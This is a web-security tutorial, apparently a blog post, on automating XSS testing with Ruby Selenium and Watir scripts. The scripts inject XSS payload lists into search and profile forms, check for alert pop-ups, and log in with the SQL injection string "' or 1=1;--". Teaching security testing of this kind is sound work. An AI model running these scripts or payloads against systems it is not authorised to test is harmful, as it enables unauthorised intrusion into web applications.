As a hacker, sometimes you need to automate your client side tests (ex. XSS) and reduce the false positives that happen specially in XSS tests. The traditional automation depends on finding the sent payload been received in the response, but it doesn't mean the vulnerability get really exploited so you have to do it manually again and again.
Here we'll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.
The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.
Selenium Webdriver
Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.
install selenium gem
gem install selenium-webdriver
GET Request
#!/usr/bin/env ruby# KING SABRI | @KINGSABRI#require"selenium-webdriver"# Profile Setup and Tweakproxy =Selenium::WebDriver::Proxy.new( :http =>PROXY, :ftp =>PROXY, :ssl =>PROXY) # Set Proxy hostname and portprofile =Selenium::WebDriver::Firefox::Profile.from_name "default"# Use an existing profile nameprofile['general.useragent.override'] ="Mozilla/5.0 (compatible; MSIE 9.0; "+"Windows Phone OS 7.5; Trident/5.0; "+"IEMobile/9.0)"# Set User Agentprofile.proxy = proxy # Set Proxyprofile.assume_untrusted_certificate_issuer =false# Accept untrusted SSL certificates# Start Driverdriver =Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile# driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
driver.manage.window.resize_to(500,400) # Set Browser windows sizedriver.navigate.to "http://www.altoromutual.com/search.aspx?"# The URL to navigate# Interact with elementselement = driver.find_element(:name,'txtSearch') # Find an element named 'txtSearch'element.send_keys "<img src=x onerror='alert(1)'>"# Send your keys to elementelement.send_keys(:control,'t') # Open a new tabelement.submit # Submit the text you've just sent
Note that the actual keys to send depend on your OS, for example, Mac uses COMMAND + t, instead of CONTROL + t.
POST Request
#!/usr/bin/env ruby# KING SABRI | @KINGSABRI#require'selenium-webdriver'browser =Selenium::WebDriver.for :firefoxbrowser.get "http://www.altoromutual.com/bank/login.aspx"wait =Selenium::WebDriver::Wait.new(:timeout =>15) # Set waiting timeout# Find the input elements to interact with later.input = wait.until { element_user = browser.find_element(:name,"uid") element_pass = browser.find_element(:name,"passw")# Retrun array of elements when get displayed [element_user, element_pass] if element_user.displayed? and element_pass.displayed?}input[0].send_keys("' or 1=1;--") # Send key for the 1st elementinput[1].send_keys("password") # Send key fro the next elementsleep1# Click/submit the button based the form it is in (you can also call 'btnSubmit' method)submit = browser.find_element(:name,"btnSubmit").click #.submit# browser.quit
Let's test the page against XSS vulnerability. First I'll list what kind of action we need from browser
Open a browser window (Firefox)
Navigate to a URL (altoromutual.com)
Perform some operations (Send an XSS payload)
Check if the payload is working(Popping-up) or it's a false positive
Print the succeed payloads on terminal
selenium-xss.rb
#!/usr/bin/env ruby# KING SABRI | @KINGSABRI#require'selenium-webdriver'payloads = ["<video src=x onerror=alert(1);>","<img src=x onerror='alert(2)'>","<script>alert(3)</script>","<svg/OnlOad=prompt(4)>","javascript:alert(5)","alert(/6/.source)" ]browser =Selenium::WebDriver.for :firefox # You can use :ff toobrowser.manage.window.resize_to(500,400) # Set browser sizebrowser.get "http://www.altoromutual.com/search.aspx?"wait =Selenium::WebDriver::Wait.new(:timeout =>10) # Timeout to waitpayloads.each do|payload| input = wait.until do element = browser.find_element(:name,'txtSearch') element if element.displayed?end input.send_keys(payload) input.submitbegin wait.until do txt = browser.switch_to.alertif (1..100) === txt.text.to_iputs"Payload is working: #{payload}" txt.acceptendendrescueSelenium::WebDriver::Error::NoAlertOpenErrorputs"False Positive: #{payload}"nextendendbrowser.close
Result
> ruby selenium-xss.rb
Payload is working: <video src=x onerror=alert(1);>
Payload is working: <img src=x onerror='alert(2)'>
Payload is working: <script>alert(3)</script>
Payload is working: <svg/OnlOad=prompt(4)>
False Positive: javascript:alert(5)
False Positive: alert(/6/.source)
Watir Webdriver
Watir is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.
Sometime you'll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You'll face a known error Selenium::WebDriver::Error::UnhandledAlertError: Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it'll work so the fix for this issue is the following.
#!/usr/bin/env ruby# KING SABRI | @KINGSABRI#require'watir'browser =Watir::Browser.new :firefoxbrowser.window.resize_to(800,600)browser.window.move_to(0,0)browser.goto "http://www.altoromutual.com/bank/login.aspx"browser.text_field(name: 'uid').set("' or 1=1;-- ")browser.text_field(name: 'passw').set("password")btn = browser.button(name: 'btnSubmit').click# browser.close
Since Waiter is integrated with Selenium, you can use both to achieve one goal
For Some reason in some log-in cases, you may need to add a delay time between entering username and password then submit.
Selenium, Watir Arbitrary POST request
Here another scenario I've faced, I was against POST request without submit button, in another word, the test was against intercepted request generated from jQuery function, in my case was a drop menu. So The work round wad quite simple, Just create an HTML file contains POST form with the original parameters plus a Submit button(just like creating CSRF exploit from a POST form) then call that html file to the browser and deal with it as normal form. Let's to see an example here.
One of scenarios I've faced is to exploit XSS a user profile fields and check the result in another page which present the public user's profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user's profile page then return back to send the exploit and so on.
xss_tab.rb
#!/usr/bin/env ruby# KING SABRI | @KINGSABRI#require'watir'require'uri'@url =URI.parse "http://example.com/Users/User_Edit.aspx?userid=68"@browser =Watir::Browser.new :firefox@browser.window.resize_to(800,600)# @browser.window.move_to(540, 165)@wait =Selenium::WebDriver::Wait.new(:timeout =>10)@browser.goto "http://example.com/logon.aspx"# Login@browser.text_field(name: 'Login1$UserName').set("admin")@browser.text_field(name: 'Login1$Password').set("P@ssword")sleep0.5@browser.button(name: 'Login1$LoginButton').clickdefsendpost(payload)begin @browser.switch # Make sure to focus on current tab/window
@browser.goto "#{@url.scheme}://#{@url.host}/#{@url.path}?#{@url.query}"# Goto the URL @wait.until {@browser.text_field(id: 'txtFullName').exists?} # Wait until wanted text area appear @browser.text_field(id: 'txtFullName').set(payload) # Set payload to the text area @browser.text_field(id: 'txtFirstName').set(payload) # Set payload to the text area @browser.button(name: '$actionsElem$save').click # Click Save buttonrescueSelenium::WebDriver::Error::UnhandledAlertError @browser.refresh # Refresh the current page @wait.until {@browser.alert.exists?} # Check if alert box appearendendpayloads = ["\"><video src=x onerror=alert(1);>","<img src=x onerror='alert(2)'>","<script>alert(3)</script>","<svg/OnlOad=prompt(4)>","javascript:alert(5)","alert(/6/.source)" ]puts"[*] Exploitation start"puts"[*] Number of payloads: #{payloads.size} payloads"@browser.send_keys(:control,'t') # Sent Ctrl+T to open new tab@browser.goto "http://example.com/pub_prof/user/silver.aspx"# Goto the use's public profile@browser.switch # Make sure to focus on current tab/windowpayloads.each do|payload| @browser.send_keys(:alt,'1') # Send Alt+1 to go to first tab sendpost payloadputs"[*] Sending to '#{@browser.title}' Payload : #{payload}" @browser.send_keys(:alt,'2') # Send Alt+2 to go to second tab @browser.switch @browser.refreshputs"[*] Checking Payload Result on #{@browser.title}"if @browser.alert.exists? @browser.alert.okputsputs"[+] Exploit found!: "+ payload @browser.closeexit0endend@browser.closeputs